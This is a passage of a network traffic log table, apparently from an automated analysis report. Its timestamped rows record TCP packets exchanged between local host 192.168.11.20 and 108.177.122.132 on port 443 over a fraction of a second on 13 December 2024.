| Dec 13, 2024 08:50:39.361068964 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.363431931 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.363625050 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.363661051 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.363862991 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.366113901 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.366357088 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.366393089 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.366678953 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.368927956 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.369200945 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.369236946 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.369453907 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.371670008 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.371891975 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.371928930 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.372133017 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.374485016 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.374666929 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.374703884 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.374867916 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.377166986 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.377399921 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.377435923 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.377610922 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.379903078 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.380112886 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.380148888 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.380322933 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.382594109 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.382766008 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.382848978 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.383147001 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.385205984 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.385493040 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.385529041 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.385796070 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.387933969 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.388133049 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.388169050 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.388348103 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.390528917 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.390746117 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.390783072 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.390929937 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.393104076 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.393296957 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.393333912 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.393527985 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.395661116 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.395862103 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.395900011 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.396142006 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.398248911 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.398401976 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.398438931 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.398684025 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.400729895 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.400922060 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.400958061 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.401200056 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.403292894 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.403491020 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.403527021 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.403736115 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.405829906 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.406050920 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.406086922 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.406323910 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.408261061 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.408524036 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.408561945 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.408790112 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.410727978 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.410959005 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.411000013 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.411207914 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.413199902 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.413419962 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.413458109 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.413727999 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.415652990 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.415982008 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.416019917 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.416201115 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.418067932 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.418271065 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.418308020 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.418528080 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.420424938 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.420633078 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.420669079 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.420823097 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.422837973 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.423041105 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.423089027 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.423285007 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.425143957 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.425357103 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.425395012 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.425610065 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.427615881 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.427839041 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.427875996 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.428049088 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.429881096 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.430185080 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.430228949 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.430412054 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.435832977 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.435986042 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.436016083 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.436058044 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.436203957 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.436203957 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.436249018 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.436419010 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.436670065 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.436863899 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.436902046 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.437086105 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.438878059 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.439071894 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.439110041 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.439302921 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.441040039 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.441284895 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.441320896 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.441499949 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.443203926 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.443461895 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.443499088 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.443710089 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.445346117 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.445565939 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.445605993 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.445913076 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.447550058 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.447782993 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.447819948 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.448102951 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.450210094 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.450407982 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.450443983 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.450642109 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.454991102 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.455224991 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.455261946 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.455491066 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.455971003 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.456178904 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.456216097 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.456423044 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.457978010 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.458257914 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.458295107 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.458558083 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.460735083 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.460912943 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.460952997 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.461154938 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.461173058 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.461358070 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.461930037 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.462244987 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.462281942 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.462449074 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.463771105 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.463975906 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.464776039 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.464991093 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.465027094 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.465218067 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.466706991 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.466917038 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.466953993 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.467138052 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.468549013 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.468760967 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.468797922 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.468936920 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.470408916 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.470599890 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.470635891 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.470959902 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.472186089 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.472347021 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.472383022 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.472573042 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.474020958 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.474225998 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.474263906 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.474450111 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.475805044 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.476027966 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.476063967 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.476222038 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.477574110 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.477751017 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.477787971 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.477938890 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.479199886 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.479387045 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.479398012 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.479595900 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.480869055 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.481096029 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.481111050 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.481268883 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.482625008 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.482887983 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.482898951 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.483136892 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.484286070 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.484450102 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.484460115 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.484641075 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.485898018 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.486083984 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.486093998 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.486310005 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.487602949 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.487756968 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.487766981 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.487929106 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.489181995 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.489399910 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.489408970 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.489625931 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.490761042 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.490983963 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.490993023 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.491154909 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.492361069 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.492619038 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.492629051 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.492815018 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.493930101 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.494102955 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.494113922 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.494323969 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.495464087 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.495639086 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.495647907 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.495834112 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.497033119 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.497209072 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.497217894 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.497433901 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.498579025 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.498796940 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.498806000 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.499032021 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.500030994 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.500257015 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.500266075 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.500432014 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.501542091 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.501800060 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.501807928 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.502007961 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.503046989 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.503243923 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.503252983 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.503426075 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.504448891 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.504633904 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.504642010 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.504829884 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.505939007 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.506108046 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.506117105 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.506325006 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.507370949 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.507519960 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.507528067 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.507679939 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
